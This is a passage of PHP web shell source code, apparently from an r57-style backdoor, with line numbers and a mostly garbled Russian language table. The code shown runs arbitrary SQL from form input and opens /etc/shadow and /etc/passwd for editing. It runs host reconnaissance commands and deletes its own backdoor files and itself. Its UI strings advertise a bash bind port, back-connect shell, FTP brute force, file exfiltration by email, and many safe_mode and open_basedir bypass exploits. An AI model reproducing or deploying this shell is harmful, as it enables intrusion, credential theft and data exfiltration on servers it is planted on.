1575 else if ($file=readzlib($_POST['d_name'])) { $filedump = $file; } else { err(1,$_POST['d_name']); $_POST['cmd']=""; }
1576
1577 if(!empty($_POST['cmd']))
1578
1579 {
1580
1581 @ob_clean();
1582
1583 $filename = @basename($_POST['d_name']);
1584
1585 $content_encoding=$mime_type='';
1586
1587 compress($filename,$filedump,$_POST['compress']);
1588
1589 if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
1590
1591 header("Content-type: ".$mime_type);
1592
1593 header("Content-disposition: attachment; filename=\"".$filename."\";");
1594
1595 echo $filedump;
1596
1597 exit();
1598
1599 }
1600
1601 }
1602
1603if(isset($_GET['1'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die(); }
1604
1605if (isset($_POST['cmd']) && $_POST['cmd']=="db_query")
1606
1607 {
1608
1609 echo $head;
1610
1611 $sql = new my_sql();
1612
1613 $sql->db = $_POST['db'];
1614
1615 $sql->host = $_POST['db_server'];
1616
1617 $sql->port = $_POST['db_port'];
1618
1619 $sql->user = $_POST['mysql_l'];
1620
1621 $sql->pass = $_POST['mysql_p'];
1622
1623 $sql->base = $_POST['mysql_db'];
1624
1625 $querys = @explode(';',$_POST['db_query']);
1626
1627 echo '<body bgcolor=#e4e0d8>';
1628
1629 if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
1630
1631 else
1632
1633 {
1634
1635 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
1636
1637 else
1638
1639 {
1640
1641 foreach($querys as $num=>$query)
1642
1643 {
1644
1645 if(strlen($query)>5)
1646
1647 {
1648
1649 echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
1650
1651 switch($sql->query($query))
1652
1653 {
1654
1655 case '0':
1656
1657 echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
1658
1659 break;
1660
1661 case '1':
1662
1663 if($sql->get_result())
1664
1665 {
1666
1667 echo "<table width=100%>";
1668
1669 foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
1670
1671 $keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", $sql->columns);
1672
1673 echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
1674
1675 for($i=0;$i<$sql->num_rows;$i++)
1676
1677 {
1678
1679 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
1680
1681 $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);
1682
1683 echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';
1684
1685 }
1686
1687 echo "</table>";
1688
1689 }
1690
1691 break;
1692
1693 case '2':
1694
1695 $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
1696
1697 echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
1698
1699 break;
1700
1701 }
1702
1703 }
1704
1705 }
1706
1707 }
1708
1709 }
1710
1711 echo "<br><form name=form method=POST>";
1712
1713 echo in('hidden','db',0,$_POST['db']);
1714
1715 echo in('hidden','db_server',0,$_POST['db_server']);
1716
1717 echo in('hidden','db_port',0,$_POST['db_port']);
1718
1719 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
1720
1721 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
1722
1723 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
1724
1725 echo in('hidden','cmd',0,'db_query');
1726
1727 echo "<div align=center>";
1728
1729 echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
1730
1731 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
1732
1733 echo "</form>";
1734
1735 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>"; die();
1736
1737 }
1738
1739if(isset($_GET['12']))
1740
1741 {
1742
1743 @unlink(__FILE__);
1744
1745 }
1746
1747if(isset($_GET['11']))
1748
1749 {
1750
1751 @unlink($tempdir.'bdpl');
1752
1753 @unlink($tempdir.'back');
1754
1755 @unlink($tempdir.'bd');
1756
1757 @unlink($tempdir.'bd.c');
1758
1759 @unlink($tempdir.'dp');
1760
1761 @unlink($tempdir.'dpc');
1762
1763 @unlink($tempdir.'dpc.c');
1764
1765 @unlink($tempdir.'prxpl');
1766
1767 @unlink($tempdir.'grep.txt');
1768
1769 }
1770
1771if(isset($_GET['2']))
1772
1773{
1774
1775echo $head;
1776
1777function U_value($value)
1778
1779 {
1780
1781 if ($value == '') return '<i>no value</i>';
1782
1783 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
1784
1785 if ($value === null) return 'NULL';
1786
1787 if (@is_object($value)) $value = (array) $value;
1788
1789 if (@is_array($value))
1790
1791 {
1792
1793 @ob_start();
1794
1795 print_r($value);
1796
1797 $value = @ob_get_contents();
1798
1799 @ob_end_clean();
1800
1801 }
1802
1803 return U_wordwrap((string) $value);
1804
1805 }
1806
1807function U_wordwrap($str)
1808
1809 {
1810
1811 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
1812
1813 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
1814
1815 }
1816
1817if (@function_exists('ini_get_all'))
1818
1819 {
1820
1821 $r = '';
1822
1823 echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
1824
1825 foreach (@ini_get_all() as $key=>$value)
1826
1827 {
1828
1829 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
1830
1831 }
1832
1833 echo $r;
1834
1835 echo '</table>';
1836
1837 }
1838
1839echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1840
1841die();
1842
1843}
1844
1845if(isset($_GET['3']))
1846
1847 {
1848
1849 echo $head;
1850
1851 echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
1852
1853 $cpuf = @file("cpuinfo");
1854
1855 if($cpuf)
1856
1857 {
1858
1859 $c = @sizeof($cpuf);
1860
1861 for($i=0;$i<$c;$i++)
1862
1863 {
1864
1865 $info = @explode(":",$cpuf[$i]);
1866
1867 if($info[1]==""){ $info[1]="---"; }
1868
1869 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1870
1871 }
1872
1873 echo $r;
1874
1875 }
1876
1877 else
1878
1879 {
1880
1881 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1882
1883 }
1884
1885 echo '</table>';
1886
1887 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1888
1889 die();
1890
1891 }
1892
1893if(isset($_GET['4']))
1894
1895 {
1896
1897 echo $head;
1898
1899 echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
1900
1901 $memf = @file("meminfo");
1902
1903 if($memf)
1904
1905 {
1906
1907 $c = sizeof($memf);
1908
1909 for($i=0;$i<$c;$i++)
1910
1911 {
1912
1913 $info = explode(":",$memf[$i]);
1914
1915 if($info[1]==""){ $info[1]="---"; }
1916
1917 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
1918
1919 }
1920
1921 echo $r;
1922
1923 }
1924
1925 else
1926
1927 {
1928
1929 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
1930
1931 }
1932
1933 echo '</table>';
1934
1935 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href='".$_SERVER['PHP_SELF']."'>BACK</a> ]</b></font></div>";
1936
1937 die();
1938
1939 }
1940
1941
1942
1943if(isset($_GET['5']))
1944
1945 {$_POST['cmd'] = 'systeminfo';}
1946
1947if(isset($_GET['6']))
1948
1949 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
1950
1951if(isset($_GET['7']))
1952
1953 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
1954
1955if(isset($_GET['8']))
1956
1957 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
1958
1959if(isset($_GET['9']))
1960
1961 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
1962
1963if(isset($_GET['10']))
1964
1965 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
1966
1967if(isset($_GET['13']))
1968
1969 {$_POST['cmd']='cat /proc/cpuinfo';}
1970
1971if(isset($_GET['14']))
1972
1973 {$_POST['cmd']='cat /proc/version';}
1974
1975if(isset($_GET['15']))
1976
1977 {$_POST['cmd'] = 'free';}
1978
1979if(isset($_GET['16']))
1980
1981 {$_POST['cmd'] = 'dmesg(8)';}
1982
1983if(isset($_GET['17']))
1984
1985 {$_POST['cmd'] = 'vmstat';}
1986
1987if(isset($_GET['18']))
1988
1989 {$_POST['cmd'] = 'lspci';}
1990
1991if(isset($_GET['19']))
1992
1993 {$_POST['cmd'] = 'lsdev';}
1994
1995if(isset($_GET['20']))
1996
1997 {$_POST['cmd']='cat /proc/interrupts';}
1998
1999if(isset($_GET['21']))
2000
2001 {$_POST['cmd'] = 'cat /etc/*realise';}
2002
2003if(isset($_GET['22']))
2004
2005 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
2006
2007if(isset($_GET['23']))
2008
2009 {$_POST['cmd'] = 'lsattr -va';}
2010
2011if(isset($_GET['24']))
2012
2013 {$_POST['cmd'] = 'w';}
2014
2015if(isset($_GET['25']))
2016
2017 {$_POST['cmd'] = 'who';}
2018
2019if(isset($_GET['26']))
2020
2021 {$_POST['cmd'] = 'uptime';}
2022
2023if(isset($_GET['27']))
2024
2025 {$_POST['cmd'] = 'last -n 10';}
2026
2027if(isset($_GET['28']))
2028
2029 {$_POST['cmd'] = 'ps -aux';}
2030
2031if(isset($_GET['29']))
2032
2033 {$_POST['cmd'] = 'service --status-all';}
2034
2035if(isset($_GET['30']))
2036
2037 {$_POST['cmd'] = 'ifconfig';}
2038
2039if(isset($_GET['31']))
2040
2041 {$_POST['cmd'] = 'netstat -a';}
2042
2043if(isset($_GET['32']))
2044
2045 {$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
2046
2047if(isset($_GET['33']))
2048
2049 {$_POST['cmd'] = 'fdisk -l';}
2050
2051if(isset($_GET['34']))
2052
2053 {$_POST['cmd'] = 'df -h';}
2054
2055
2056
2057#if(isset($_GET['']))
2058
2059# {$_POST['cmd'] = '';}
2060
2061
2062
2063$lang=array(
2064
2065'ru_butt1' =>'?????????',
2066
2067'ru_butt2' =>'?????????',
2068
2069'ru_butt3' =>'???????',
2070
2071'ru_butt4' =>'?????????',
2072
2073'ru_butt5' =>'?????????',
2074
2075'ru_butt6' =>'???????',
2076
2077'ru_butt7' =>'???????',
2078
2079'ru_butt8' =>'?????????',
2080
2081'ru_butt9' =>'????',
2082
2083'ru_butt10'=>'?????????',
2084
2085'ru_butt11'=>'?????????????',
2086
2087'ru_butt12'=>'?????',
2088
2089'ru_butt13'=>'???????/???????',
2090
2091'ru_butt14'=>'???????',
2092
2093'ru_butt15'=>'?????????',
2094
2095'ru_text1' =>'??????????? ???????',
2096
2097'ru_text2' =>'?????????? ?????? ?? ???????',
2098
2099'ru_text3' =>'????????? ???????',
2100
2101'ru_text4' =>'??????? ??????????',
2102
2103'ru_text5' =>'???????? ?????? ?? ??????',
2104
2105'ru_text6' =>'????????? ????',
2106
2107'ru_text7' =>'??????',
2108
2109'ru_text8' =>'???????? ?????',
2110
2111'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash',
2112
2113'ru_text10'=>'??????? ????',
2114
2115'ru_text11'=>'?????? ??? ???????',
2116
2117'ru_text12'=>'back-connect',
2118
2119'ru_text13'=>'IP-?????',
2120
2121'ru_text14'=>'????',
2122
2123'ru_text15'=>'???????? ?????? ? ?????????? ???????',
2124
2125'ru_text16'=>'????????????',
2126
2127'ru_text17'=>'????????? ????',
2128
2129'ru_text18'=>'????????? ????',
2130
2131'ru_text19'=>'Exploits',
2132
2133'ru_text20'=>'????????????',
2134
2135'ru_text21'=>'????? ???',
2136
2137'ru_text22'=>'datapipe',
2138
2139'ru_text23'=>'????????? ????',
2140
2141'ru_text24'=>'????????? ????',
2142
2143'ru_text25'=>'????????? ????',
2144
2145'ru_text26'=>'????????????',
2146
2147'ru_text28'=>'?????? ? safe_mode',
2148
2149'ru_text29'=>'?????? ????????',
2150
2151'ru_text30'=>'???????? ?????',
2152
2153'ru_text31'=>'???? ?? ??????',
2154
2155'ru_text32'=>'?????????? PHP ????',
2156
2157'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL (PHP <= 4.4.2, 5.1.4)',
2158
2159'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include',
2160
2161'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql',
2162
2163'ru_text36'=>'???? . ???????',
2164
2165'ru_text37'=>'?????',
2166
2167'ru_text38'=>'??????',
2168
2169'ru_text39'=>'????',
2170
2171'ru_text40'=>'???? ??????? ???? ??????',
2172
2173'ru_text41'=>'????????? ? ?????',
2174
2175'ru_text42'=>'?????????????? ?????',
2176
2177'ru_text43'=>'????????????? ????',
2178
2179'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!',
2180
2181'ru_text45'=>'???? ????????',
2182
2183'ru_text46'=>'???????? phpinfo()',
2184
2185'ru_text47'=>'???????? ???????? php.ini',
2186
2187'ru_text48'=>'???????? ????????? ??????',
2188
2189'ru_text49'=>'???????? ??????? ? ???????',
2190
2191'ru_text50'=>'?????????? ? ??????????',
2192
2193'ru_text51'=>'?????????? ? ??????',
2194
2195'ru_text52'=>'????? ??? ??????',
2196
2197'ru_text53'=>'?????? ? ?????',
2198
2199'ru_text54'=>'????? ?????? ? ??????',
2200
2201'ru_text55'=>'?????? ? ??????',
2202
2203'ru_text56'=>'?????? ?? ???????',
2204
2205'ru_text57'=>'???????/??????? ????/??????????',
2206
2207'ru_text58'=>'???',
2208
2209'ru_text59'=>'????',
2210
2211'ru_text60'=>'??????????',
2212
2213'ru_text61'=>'???? ??????',
2214
2215'ru_text62'=>'?????????? ???????',
2216
2217'ru_text63'=>'???? ??????',
2218
2219'ru_text64'=>'?????????? ???????',
2220
2221'ru_text65'=>'???????',
2222
2223'ru_text66'=>'???????',
2224
2225'ru_text67'=>'Chown/Chgrp/Chmod',
2226
2227'ru_text68'=>'???????',
2228
2229'ru_text69'=>'????????1',
2230
2231'ru_text70'=>'????????2',
2232
2233'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)",
2234
2235'ru_text72'=>'????? ??? ??????',
2236
2237'ru_text73'=>'?????? ? ?????',
2238
2239'ru_text74'=>'?????? ? ??????',
2240
2241'ru_text75'=>'* ????? ???????????? ?????????? ?????????',
2242
2243'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find',
2244
2245'ru_text80'=>'???',
2246
2247'ru_text81'=>'????',
2248
2249'ru_text82'=>'???? ??????',
2250
2251'ru_text83'=>'?????????? SQL ???????',
2252
2253'ru_text84'=>'SQL ??????',
2254
2255'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????',
2256
2257'ru_text86'=>'?????????? ????? ? ???????',
2258
2259'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????',
2260
2261'ru_text88'=>'??????:????',
2262
2263'ru_text89'=>'???? ?? ftp ???????',
2264
2265'ru_text90'=>'????? ????????',
2266
2267'ru_text91'=>'???????????? ?',
2268
2269'ru_text92'=>'??? ?????.',
2270
2271'ru_text93'=>'FTP',
2272
2273'ru_text94'=>'FTP-????????',
2274
2275'ru_text95'=>'?????? ?????????????',
2276
2277'ru_text96'=>'?? ??????? ???????? ?????? ?????????????',
2278
2279'ru_text97'=>'????????? ??????????: ',
2280
2281'ru_text98'=>'??????? ???????????: ',
2282
2283'ru_text99'=>'/etc/passwd',
2284
2285'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????',
2286
2287'ru_text101'=>'???????????? (user -> resu)',
2288
2289'ru_text102'=>'?????',
2290
2291'ru_text103'=>'???????? ??????',
2292
2293'ru_text104'=>'???????? ????? ?? ???????? ????',
2294
2295'ru_text105'=>'????',
2296
2297'ru_text106'=>'??',
2298
2299'ru_text107'=>'????',
2300
2301'ru_text108'=>'????? ??????',
2302
2303'ru_text109'=>'????????',
2304
2305'ru_text110'=>'??????????',
2306
2307'ru_text111'=>'SQL-?????? : ????',
2308
2309'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2310
2311'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list() (PHP <= 5.1.2)',
2312
2313'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body() (PHP <= 5.1.2)',
2314
2315'ru_text115'=>'???????? ??????????? ?????? ??????????? safe_mode, ??????????? ?????? ? [compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
2316
2317'ru_text116'=>'?????????? ????',
2318
2319'ru_text117'=>'?',
2320
2321'ru_text118'=>'???? ??????????',
2322
2323'ru_text119'=>'?? ??????? ??????????? ????',
2324
2325'ru_text120'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? ini_restore() (PHP <= 4.4.4, 5.1.6) by NST',
2326
2327'ru_text121'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? fopen() (PHP v4.4.0 memory leak) by NST',
2328
2329'ru_text122'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? glob() (PHP <= 5.2.x)',
2330
2331'ru_text123'=>'???????? ??????????? ?????? ??????????? open_basedir, ?????? *.bzip ?????? [compress.bzip2://] (PHP <= 5.2.1)',
2332
2333'ru_text124'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ?????? ? error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2334
2335'ru_text125'=>'??????',
2336
2337'ru_text126'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ?????? ? ???????[NULL-byte] (PHP <= 5.2.0)',
2338
2339'ru_text127'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ?????? ? readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2340
2341'ru_text128'=>'???? ?????????/??????? ????? (touch)',
2342
2343'ru_text129'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ? fopen(srpath://) (PHP v5.2.0)',
2344
2345'ru_text130'=>'???????? ??????????? ?????? ??????????? open_basedir, ?????? *.zip ?????? [zip://] (PHP <= 5.2.1)',
2346
2347'ru_text131'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ??????????? ????? ? ?????????????? symlink() (PHP <= 5.2.1)',
2348
2349'ru_text132'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? symlink() (PHP <= 5.2.1)',
2350
2351'ru_text133'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ????? ?????? ? ???????(TMPDIR) (PHP <= 5.2.4)',
2352
2353'ru_text134'=>'???????? ??? ??????',
2354
2355'ru_text135'=>'???????',
2356
2357'ru_text136'=>'???????? ?????????? ??????',
2358
2359'ru_text137'=>'????????',
2360
2361'ru_text138'=>'???????',
2362
2363'ru_text139'=>'????-??????',
2364
2365'ru_text140'=>'DoS',
2366
2367'ru_text141'=>'?????????! ???????? ???? ???-???????.',
2368
2369'ru_text142'=>'????????? ???????',
2370
2371'ru_text143'=>'Temp: ',
2372
2373'ru_text144'=>'Test bypass safe_mode with load file in mysqli',
2374
2375'ru_text145'=>'???????? ??????????? ?????? ??????????? open_basedir, ???????? ???????? ?????????? ? ?????????????? realpath() (PHP <= 5.2.4)',
2376
2377'ru_text146'=>'MAX ???-?? ????????',
2378
2379'ru_text147'=>'',
2380
2381'ru_text148'=>'',
2382
2383'ru_text149'=>'',
2384
2385'ru_text150'=>'',
2386
2387'ru_err0'=>'??????! ?? ???? ???????? ? ???? ',
2388
2389'ru_err1'=>'??????! ?? ???? ????????? ???? ',
2390
2391'ru_err2'=>'??????! ?? ??????? ??????? ',
2392
2393'ru_err3'=>'??????! ?? ??????? ???????????? ? ftp ???????',
2394
2395'ru_err4'=>'?????? ??????????? ?? ftp ???????',
2396
2397'ru_err5'=>'??????! ?? ??????? ???????? ?????????? ?? ftp ???????',
2398
2399'ru_err6'=>'??????! ?? ??????? ????????? ??????',
2400
2401'ru_err7'=>'?????? ??????????',
2402
2403/* --------------------------------------------------------------- */
2404
2405'eng_butt1' =>'Execute',
2406
2407'eng_butt2' =>'Upload',
2408
2409'eng_butt3' =>'Bind',
2410
2411'eng_butt4' =>'Connect',
2412
2413'eng_butt5' =>'Run',
2414
2415'eng_butt6' =>'Change',
2416
2417'eng_butt7' =>'Show',
2418
2419'eng_butt8' =>'Test',
2420
2421'eng_butt9' =>'Dump',
2422
2423'eng_butt10'=>'Save',
2424
2425'eng_butt11'=>'Edit file',
2426
2427'eng_butt12'=>'Find',
2428
2429'eng_butt13'=>'Create/Delete',
2430
2431'eng_butt14'=>'Download',
2432
2433'eng_butt15'=>'Send',
2434
2435'eng_text1' =>'Executed command',
2436
2437'eng_text2' =>'Execute command on server',
2438
2439'eng_text3' =>'Run command',
2440
2441'eng_text4' =>'Work directory',
2442
2443'eng_text5' =>'Upload files on server',
2444
2445'eng_text6' =>'Local file',
2446
2447'eng_text7' =>'Aliases',
2448
2449'eng_text8' =>'Select alias',
2450
2451'eng_text9' =>'Bind port to /bin/bash',
2452
2453'eng_text10'=>'Port',
2454
2455'eng_text11'=>'Password for access',
2456
2457'eng_text12'=>'back-connect',
2458
2459'eng_text13'=>'IP',
2460
2461'eng_text14'=>'Port',
2462
2463'eng_text15'=>'Upload files from remote server',
2464
2465'eng_text16'=>'With',
2466
2467'eng_text17'=>'Remote file',
2468
2469'eng_text18'=>'Local file',
2470
2471'eng_text19'=>'Exploits',
2472
2473'eng_text20'=>'Use',
2474
2475'eng_text21'=>' New name',
2476
2477'eng_text22'=>'datapipe',
2478
2479'eng_text23'=>'Local port',
2480
2481'eng_text24'=>'Remote host',
2482
2483'eng_text25'=>'Remote port',
2484
2485'eng_text26'=>'Use',
2486
2487'eng_text28'=>'Work in safe_mode',
2488
2489'eng_text29'=>'ACCESS DENIED',
2490
2491'eng_text30'=>'Cat file',
2492
2493'eng_text31'=>'File not found',
2494
2495'eng_text32'=>'Eval PHP code',
2496
2497'eng_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
2498
2499'eng_text34'=>'Test bypass safe_mode with include function',
2500
2501'eng_text35'=>'Test bypass safe_mode with load file in mysql',
2502
2503'eng_text36'=>'Database . Table',
2504
2505'eng_text37'=>'Login',
2506
2507'eng_text38'=>'Password',
2508
2509'eng_text39'=>'Database',
2510
2511'eng_text40'=>'Dump database table',
2512
2513'eng_text41'=>'Save dump in file',
2514
2515'eng_text42'=>'Edit files',
2516
2517'eng_text43'=>'File for edit',
2518
2519'eng_text44'=>'Can\'t edit file! Only read access!',
2520
2521'eng_text45'=>'File saved',
2522
2523'eng_text46'=>'Show phpinfo()',
2524
2525'eng_text47'=>'Show variables from php.ini',
2526
2527'eng_text48'=>'Delete temp files',
2528
2529'eng_text49'=>'Delete script from server',
2530
2531'eng_text50'=>'View cpu info',
2532
2533'eng_text51'=>'View memory info',
2534
2535'eng_text52'=>'Find text',
2536
2537'eng_text53'=>'In dirs',
2538
2539'eng_text54'=>'Find text in files',
2540
2541'eng_text55'=>'Only in files',
2542
2543'eng_text56'=>'Nothing :(',
2544
2545'eng_text57'=>'Create/Delete File/Dir',
2546
2547'eng_text58'=>'name',
2548
2549'eng_text59'=>'file',
2550
2551'eng_text60'=>'dir',
2552
2553'eng_text61'=>'File created',
2554
2555'eng_text62'=>'Dir created',
2556
2557'eng_text63'=>'File deleted',
2558
2559'eng_text64'=>'Dir deleted',
2560
2561'eng_text65'=>'Create',
2562
2563'eng_text66'=>'Delete',
2564
2565'eng_text67'=>'Chown/Chgrp/Chmod',
2566
2567'eng_text68'=>'Command',
2568
2569'eng_text69'=>'param1',
2570
2571'eng_text70'=>'param2',
2572
2573'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
2574
2575'eng_text72'=>'Text for find',
2576
2577'eng_text73'=>'Find in folder',
2578
2579'eng_text74'=>'Find in files',
2580
2581'eng_text75'=>'* you can use regexp',
2582
2583'eng_text76'=>'Search text in files via find',
2584
2585'eng_text80'=>'Type',
2586
2587'eng_text81'=>'Net',
2588
2589'eng_text82'=>'Databases',
2590
2591'eng_text83'=>'Run SQL query',
2592
2593'eng_text84'=>'SQL query',
2594
2595'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
2596
2597'eng_text86'=>'Download files from server',
2598
2599'eng_text87'=>'Download files from remote ftp-server',
2600
2601'eng_text88'=>'server:port',
2602
2603'eng_text89'=>'File on ftp',
2604
2605'eng_text90'=>'Transfer mode',
2606
2607'eng_text91'=>'Archivation',
2608
2609'eng_text92'=>'without arch.',
2610
2611'eng_text93'=>'FTP',
2612
2613'eng_text94'=>'FTP-bruteforce',
2614
2615'eng_text95'=>'Users list',
2616
2617'eng_text96'=>'Can\'t get users list',
2618
2619'eng_text97'=>'checked: ',
2620
2621'eng_text98'=>'success: ',
2622
2623'eng_text99'=>'/etc/passwd',
2624
2625'eng_text100'=>'Send file to remote ftp server',
2626
2627'eng_text101'=>'Use reverse (user -> resu)',
2628
2629'eng_text102'=>'Mail',
2630
2631'eng_text103'=>'Send email',
2632
2633'eng_text104'=>'Send file to email',
2634
2635'eng_text105'=>'To',
2636
2637'eng_text106'=>'From',
2638
2639'eng_text107'=>'Subj',
2640
2641'eng_text108'=>'Mail',
2642
2643'eng_text109'=>'Hide',
2644
2645'eng_text110'=>'Show',
2646
2647'eng_text111'=>'SQL-Server : Port',
2648
2649'eng_text112'=>'Test bypass safe_mode with function mb_send_mail() (PHP <= 4.0-4.2.2, 5.x)',
2650
2651'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list() (PHP <= 5.1.2)',
2652
2653'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body() (PHP <= 5.1.2)',
2654
2655'eng_text115'=>'Test bypass safe_mode, copy file via copy(compress.zlib://) (PHP <= 4.4.2, 5.1.2)',
2656
2657'eng_text116'=>'Copy from',
2658
2659'eng_text117'=>'to',
2660
2661'eng_text118'=>'File copied',
2662
2663'eng_text119'=>'Cant copy file',
2664
2665'eng_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2666
2667'eng_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2668
2669'eng_text122'=>'Test bypass open_basedir, view dir list via glob() (PHP <= 5.2.x)',
2670
2671'eng_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2672
2673'eng_text124'=>'Test bypass open_basedir, add data to file via error_log(php://) (PHP <= 5.1.4, 4.4.2)',
2674
2675'eng_text125'=>'Data',
2676
2677'eng_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2678
2679'eng_text127'=>'Test bypass open_basedir, add data to file via readfile(php://) (PHP <= 5.2.1, 4.4.4)',
2680
2681'eng_text128'=>'Modify/Access file (touch)',
2682
2683'eng_text129'=>'Test bypass open_basedir, create file via fopen(srpath://) (PHP v5.2.0)',
2684
2685'eng_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
